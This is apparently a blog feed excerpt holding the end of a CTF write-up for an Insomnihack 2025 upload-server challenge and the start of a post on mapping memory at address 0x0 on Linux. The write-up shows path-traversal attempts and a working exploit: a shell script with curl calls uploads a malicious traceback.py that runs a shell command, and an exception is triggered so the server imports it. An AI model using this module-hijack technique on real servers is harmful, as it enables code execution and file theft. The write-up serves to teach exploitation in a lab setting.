            &lt;span class=&quot;n&quot;&gt;pdict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;boundary&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pdict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;boundary&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

            &lt;span class=&quot;n&quot;&gt;fields&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cgi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parse_multipart&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pdict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

            &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;field&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fields&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;basename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;field&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;safe_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UPLOAD_DIR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;safe_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;safe_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

                &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;safe_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;startswith&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UPLOAD_DIR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())):&lt;/span&gt;
                    &lt;span class=&quot;c1&quot;&gt;# ... - return 400: Invalid file path
&lt;/span&gt;                    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;

                &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;safe_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;wb&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                    &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fields&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;field&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;interacting-with-the-server&quot;&gt;Interacting with the server&lt;/h3&gt;

&lt;p&gt;Just for completeness, we can interact with the server in the following three ways:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;We can download files via: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl -u &apos;admin:password&apos; --path-as-is -v http://localhost:9000/path-here&lt;/code&gt;. Note that we pass the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--path-as-is&lt;/code&gt; so that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt; tool do not resolve paths like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../../flag.txt&lt;/code&gt; into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/flag.txt&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;We can send files via: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl -v -F &quot;filename=@file&quot; -X POST -u admin:password http://localhost:9000/&lt;/code&gt; where this will sent the content from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file&lt;/code&gt; file from current directory.&lt;/li&gt;
  &lt;li&gt;We can actually crash the server via: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl -v -F &quot;lol=plik&quot; -X POST -u admin:password http://localhost:9000/&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;With the last one, the server crashes in some of its processing and reports the following traceback:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Exception occurred during processing of request from (&apos;172.17.0.1&apos;, 47464)
Traceback (most recent call last):
  File &quot;/usr/local/lib/python3.10/socketserver.py&quot;, line 683, in process_request_thread
    self.finish_request(request, client_address)
  File &quot;/usr/local/lib/python3.10/socketserver.py&quot;, line 360, in finish_request
    self.RequestHandlerClass(request, client_address, self)
  File &quot;/usr/local/lib/python3.10/http/server.py&quot;, line 668, in __init__
    super().__init__(*args, **kwargs)
  File &quot;/usr/local/lib/python3.10/socketserver.py&quot;, line 747, in __init__
    self.handle()
  File &quot;/usr/local/lib/python3.10/http/server.py&quot;, line 433, in handle
    self.handle_one_request()
  File &quot;/usr/local/lib/python3.10/http/server.py&quot;, line 421, in handle_one_request
    method()
  File &quot;/app/server.py&quot;, line 74, in do_POST
    f.write(fields[field][0])
TypeError: a bytes-like object is required, not &apos;str&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This happens because there is a small difference between sending a file in a form in curl with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-F &quot;filename=content&quot;&lt;/code&gt; flag vs &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-F &quot;filename=@file&quot;&lt;/code&gt;. The former will send it as:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Content-Type: multipart/form-data; boundary=------------------------zwbJi1vcxCL0w1ITX7Pv4W

--------------------------zwbJi1vcxCL0w1ITX7Pv4W
Content-Disposition: form-data; name=&quot;filename&quot;

content
--------------------------zwbJi1vcxCL0w1ITX7Pv4W--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;While the latter will send:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Content-Type: multipart/form-data; boundary=------------------------SqWUMBvrFIVx6KRl7yb1o1

--------------------------SqWUMBvrFIVx6KRl7yb1o1
Content-Disposition: form-data; name=&quot;filename&quot;; filename=&quot;p&quot;
Content-Type: application/octet-stream

a

--------------------------SqWUMBvrFIVx6KRl7yb1o1--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The latter sets the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Type: application/octet-stream&lt;/code&gt; which makes the upload server code see a bytestring (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bytes&lt;/code&gt; type) instead of a string (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;str&lt;/code&gt;) type. Without the content type, the server crashes.&lt;/p&gt;

&lt;h3 id=&quot;solution-ideas&quot;&gt;Solution ideas&lt;/h3&gt;

&lt;p&gt;When trying to solve this, we came up with a couple of ideas:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Path traversal. Our obvious first idea was that maybe there is a path we can provide to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_GET&lt;/code&gt; functionality to obtain the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/flag.txt&lt;/code&gt; file? Maybe something like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../../../../flag.txt&lt;/code&gt; (or urlencoded: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%2e%2e%2f%2e%2e%2fflag.txt&lt;/code&gt;)? Not really. This did not work here.&lt;/li&gt;
  &lt;li&gt;Race condition. This was a threading server and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecureHandler.do_GET&lt;/code&gt; reads the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;self.path&lt;/code&gt; multiple times. I thought that maybe the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecureHandler&lt;/code&gt; object is shared between two threads that process two consecutively sent requests, but in practice its not. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;socketserver.ThreadingMixIn&lt;/code&gt; correctly creates a separate instances of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecureHandler&lt;/code&gt; for each consecutive request. We actually tested this by modifying the app and printing out the ID of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecureHandler&lt;/code&gt; object when the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_GET&lt;/code&gt; was executed (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;print(id(self))&lt;/code&gt;).&lt;/li&gt;
  &lt;li&gt;We can create arbitrary files. Is there a file we can write that would eventually be executed by the server?&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;are-there-any-files-that-are-executed-by-the-server&quot;&gt;Are there any files that are executed by the server?&lt;/h3&gt;

&lt;p&gt;It turns out that we can even overwrite the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;server.py&lt;/code&gt; file. However, this gives us nothing, because the script is never reloaded/read again by the upload server (neither by its threads etc).&lt;/p&gt;

&lt;p&gt;So are there any other ways? Well, since it is a Python code, for it to execute some code, it would have to for example invoke an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;import&lt;/code&gt; statement for a module that hasn’t been loaded yet.&lt;/p&gt;

&lt;p&gt;And… it turns out that there is such a case. We actually discovered it by reading the code and finding the import statement, but this can also be found with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strace&lt;/code&gt;, the system call trace tool to see which files are attempted to be opened by the server when it runs.&lt;/p&gt;

&lt;p&gt;This can be seen below, where we show the output of strace on the server when we execute different actions. We run the strace as: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo strace -f -e openat -p $(pgrep -f &apos;python3 /app/server.py&apos;)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Strace outputs:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;When we get a file that exists (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl -vvv -u admin:password localhost:9000/server.py&lt;/code&gt;):
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;strace: Process 165954 attached
[pid 165954] openat(AT_FDCWD, &quot;/etc/mime.types&quot;, O_RDONLY|O_CLOEXEC) = 5
[pid 165954] openat(AT_FDCWD, &quot;/app/server.py&quot;, O_RDONLY|O_CLOEXEC) = 5
[pid 165954] +++ exited with 0 +++
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;When we send a valid file (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl -v -F &quot;a=@plik&quot; -X POST -u admin:password localhost:9000/server.py&lt;/code&gt;):
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;strace: Process 165990 attached
[pid 165990] openat(AT_FDCWD, &quot;/tmp/f08q3cme&quot;, O_RDWR|O_CREAT|O_EXCL|O_NOFOLLOW|O_CLOEXEC, 0600) = 5
[pid 165990] openat(AT_FDCWD, &quot;/tmp&quot;, O_RDWR|O_EXCL|O_NOFOLLOW|O_CLOEXEC|O_TMPFILE, 0600) = -1 EOPNOTSUPP (Operation not supported)
[pid 165990] openat(AT_FDCWD, &quot;/tmp/tmpjl1qriex&quot;, O_RDWR|O_CREAT|O_EXCL|O_NOFOLLOW|O_CLOEXEC, 0600) = 5
[pid 165990] openat(AT_FDCWD, &quot;/app/a&quot;, O_WRONLY|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 5
[pid 165990] +++ exited with 0 +++
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;And when we send a file that causes the server to raise an exception (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl -v -F &quot;a=content&quot; -X POST -u admin:password localhost:9000/server.py&lt;/code&gt;):
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[pid 165990] +++ exited with 0 +++
strace: Process 166018 attached
[pid 166018] openat(AT_FDCWD, &quot;/app/a&quot;, O_WRONLY|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 5
[pid 166018] openat(AT_FDCWD, &quot;/app&quot;, O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 5
[pid 166018] openat(AT_FDCWD, &quot;/usr/local/lib/python3.10/__pycache__/traceback.cpython-310.pyc&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[pid 166018] openat(AT_FDCWD, &quot;/usr/local/lib/python3.10/traceback.py&quot;, O_RDONLY|O_CLOEXEC) = 5
[pid 166018] openat(AT_FDCWD, &quot;/usr/local/lib/python3.10/__pycache__/traceback.cpython-310.pyc.127715404047712&quot;, O_WRONLY|O_CREAT|O_EXCL|O_CLOEXEC, 0644) = 5
[pid 166018] openat(AT_FDCWD, &quot;/usr/local/lib/python3.10/__pycache__/linecache.cpython-310.pyc&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[pid 166018] openat(AT_FDCWD, &quot;/usr/local/lib/python3.10/linecache.py&quot;, O_RDONLY|O_CLOEXEC) = 5
[pid 166018] openat(AT_FDCWD, &quot;/usr/local/lib/python3.10/__pycache__/linecache.cpython-310.pyc.127715404047488&quot;, O_WRONLY|O_CREAT|O_EXCL|O_CLOEXEC, 0644) = 5
[pid 166018] openat(AT_FDCWD, &quot;/usr/local/lib/python3.10/__pycache__/tokenize.cpython-310.pyc&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[pid 166018] openat(AT_FDCWD, &quot;/usr/local/lib/python3.10/tokenize.py&quot;, O_RDONLY|O_CLOEXEC) = 5
[pid 166018] openat(AT_FDCWD, &quot;/usr/local/lib/python3.10/__pycache__/tokenize.cpython-310.pyc.127715404047936&quot;, O_WRONLY|O_CREAT|O_EXCL|O_CLOEXEC, 0644) = 5
[pid 166018] openat(AT_FDCWD, &quot;/usr/local/lib/python3.10/__pycache__/token.cpython-310.pyc&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[pid 166018] openat(AT_FDCWD, &quot;/usr/local/lib/python3.10/token.py&quot;, O_RDONLY|O_CLOEXEC) = 5
[pid 166018] openat(AT_FDCWD, &quot;/usr/local/lib/python3.10/__pycache__/token.cpython-310.pyc.127715404050848&quot;, O_WRONLY|O_CREAT|O_EXCL|O_CLOEXEC, 0644) = 5
[pid 166018] openat(AT_FDCWD, &quot;/usr/local/lib/python3.10/socketserver.py&quot;, O_RDONLY|O_CLOEXEC) = 5
[pid 166018] openat(AT_FDCWD, &quot;/usr/local/lib/python3.10/http/server.py&quot;, O_RDONLY|O_CLOEXEC) = 5
[pid 166018] openat(AT_FDCWD, &quot;/app/server.py&quot;, O_RDONLY|O_CLOEXEC) = 5
[pid 166018] +++ exited with 0 +++
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;What we can see here is that the server loads a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;traceback.py&lt;/code&gt; module and first checks for it python compiled file (.pyc).&lt;/p&gt;

&lt;p&gt;Now… what would happen if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;traceback.py&lt;/code&gt; existed in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/app/&lt;/code&gt;?&lt;/p&gt;

&lt;h3 id=&quot;the-solution&quot;&gt;The solution&lt;/h3&gt;

&lt;p&gt;It turns out that by uploading in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;traceback.py&lt;/code&gt; file and triggering the exception for the first time, the server imports the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;traceback&lt;/code&gt; module from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/app/&lt;/code&gt; directory and trigger our code!&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note: Of course if the exception would be triggered before that, the module would already be loaded and its &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;import&lt;/code&gt; would not reload it. But we can create our own instance of the challenge and thus exploit this fact.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;So to solve the challenge, we can use the following script:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/sh&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Server setup&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;ADM&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;admin
&lt;span class=&quot;nv&quot;&gt;PASS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;password
&lt;span class=&quot;nv&quot;&gt;URL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;127.0.0.1:9000/&quot;&lt;/span&gt;

curl &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-F&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;traceback.py=@traceback.py&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; POST &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$ADM&lt;/span&gt;:&lt;span class=&quot;nv&quot;&gt;$PASS&lt;/span&gt; http://&lt;span class=&quot;nv&quot;&gt;$URL&lt;/span&gt;
curl &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-F&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;lol=plik&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; POST &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$ADM&lt;/span&gt;:&lt;span class=&quot;nv&quot;&gt;$PASS&lt;/span&gt; http://&lt;span class=&quot;nv&quot;&gt;$URL&lt;/span&gt;
curl &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$ADM&lt;/span&gt;:&lt;span class=&quot;nv&quot;&gt;$PASS&lt;/span&gt; http://&lt;span class=&quot;nv&quot;&gt;$URL&lt;/span&gt;/myflag
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;traceback.py&lt;/code&gt; file with our payload. In my case it was the original traceback.py copied out from the container (with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker cp ...&lt;/code&gt; command) plus the following:&lt;/p&gt;

&lt;div class=&quot;language-py highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;cp /flag.txt /app/myflag&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As a result, executing the shell script from above we uploaded traceback.py, got it executed, which copied the flag to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/app/myflag&lt;/code&gt; and then we just read it with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_GET&lt;/code&gt; method since it read files from  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/app&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Below you can see a screenshot from my terminals when I solved the challenge :).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://disconnect3d.pl/assets/posts/inso2025/inso2025-uploadserver-solv.webp&quot; alt=&quot;Solve photo&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Sun, 16 Mar 2025 14:00:00 +0100</pubDate>
        <link>https://disconnect3d.pl//2025/03/16/Insomnihack-CTF-2025-uploadserver-writeup/</link>
        <guid isPermaLink="true">https://disconnect3d.pl//2025/03/16/Insomnihack-CTF-2025-uploadserver-writeup/</guid>
        
        <category>linux,</category>
        
        <category>security,</category>
        
        <category>programming,</category>
        
        <category>python</category>
        
        
      </item>
    
      <item>
        <title>When NULL isn&apos;t null: mapping memory at 0x0 on Linux</title>
        <description>&lt;p&gt;When we think of a null pointer, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NULL&lt;/code&gt; in C or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nullptr&lt;/code&gt; in C++, we typically assume it is “invalid” or “not pointing to a valid memory location”. But what if I tell you that a null pointer can actually point to valid memory under certain conditions? In this post, we will see this on Linux.&lt;/p&gt;

&lt;h2 id=&quot;an-interview-question&quot;&gt;An interview question&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Note: For the sake of discussion, let’s assume that null pointer is represented as zero (or an address with a value of zero).&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;When conducting technical interviews, I have been assessing candidates’ depth of knowledge through a particular question:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;What happens when the following C or C++ code executes: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*(int*)(rand_int()) = 0x41424344;&lt;/code&gt;&lt;/p&gt;

  &lt;p&gt;Assume that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rand_int&lt;/code&gt; returns any valid integer.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I don’t specify a CPU architecture, operating system, privilege level (user vs kernel space) or compiler version but if asked, I clarify that we are considering x86-64, user-space Linux, and either GCC or Clang.&lt;/p&gt;

&lt;p&gt;From the point of C or C++ standards, this code results in an undefined behavior. However, I ask this question since I am interested in whether the candidate understands what actually happens at runtime.&lt;/p&gt;

&lt;h2 id=&quot;possible-outcomes&quot;&gt;Possible outcomes&lt;/h2&gt;

&lt;p&gt;When executed, the code attempts to write a 4-byte value of 0x41424344 to a random memory address. Its outcome depends on two conditions:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;If the address is within the process’ mapped virtual address space and has write permissions, the write operation will succeed.&lt;/li&gt;
  &lt;li&gt;If the address is unmapped or lacks write permissions, the process will “crash”.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Or at least this is what some candidates say. In practice, this is more nuanced. The invalid memory access is intercepted by the CPU, which triggers an exception. The Linux kernel then handles this by sending a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SIGSEGV&lt;/code&gt; (Segmentation Fault) signal to the process. At this point if the process has a registered signal handler for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SIGSEGV&lt;/code&gt;, that handler is executed. Otherwise, the process is terminated.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Actually, there is yet another case. If the address happens to be before the main thread stack, the kernel will expand the stack and then the first case apply. (Thanks to MrQubo from justCatTheFish for pointing this out!) This can be seen on the screenshot from the &lt;a href=&quot;https://github.com/pwndbg/pwndbg&quot;&gt;Pwndbg&lt;/a&gt; plugin for GDB below. We first show the stack memory mapping, then patch the next instruction executed by the program to write value to memory at address defined by register RAX, then we set RAX register to address before main thread stack and we execute a single instruction. Finally, we can see that the stack got expanded.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://disconnect3d.pl/assets/posts/vmmap-expand-stack.png&quot; alt=&quot;Screenshot of stack expanded by the kernel&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Fun fact: the JVM (Java Virtual Machine) uses this exact mechanism to detect invalid memory accesses and to throw its &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NullPointerException&lt;/code&gt; errors.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;what-if-rand_int-returns-0&quot;&gt;What if rand_int returns 0?&lt;/h2&gt;

&lt;p&gt;A natural follow-up question I ask: &lt;em&gt;What happens if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rand_int&lt;/code&gt; returns 0? Can address 0x0 be mapped?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Suprisingly, the answer is &lt;strong&gt;yes&lt;/strong&gt;, under certain conditions.&lt;/p&gt;

&lt;p&gt;On Linux, memory allocations are handled by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mmap&lt;/code&gt; system call which is internally used by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;malloc&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new&lt;/code&gt; C or C++ functions. With &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mmap&lt;/code&gt; it is possible to explicitly request the memory to be allocated at address 0x0, but whether the system grants this request depends on it configuration.&lt;/p&gt;

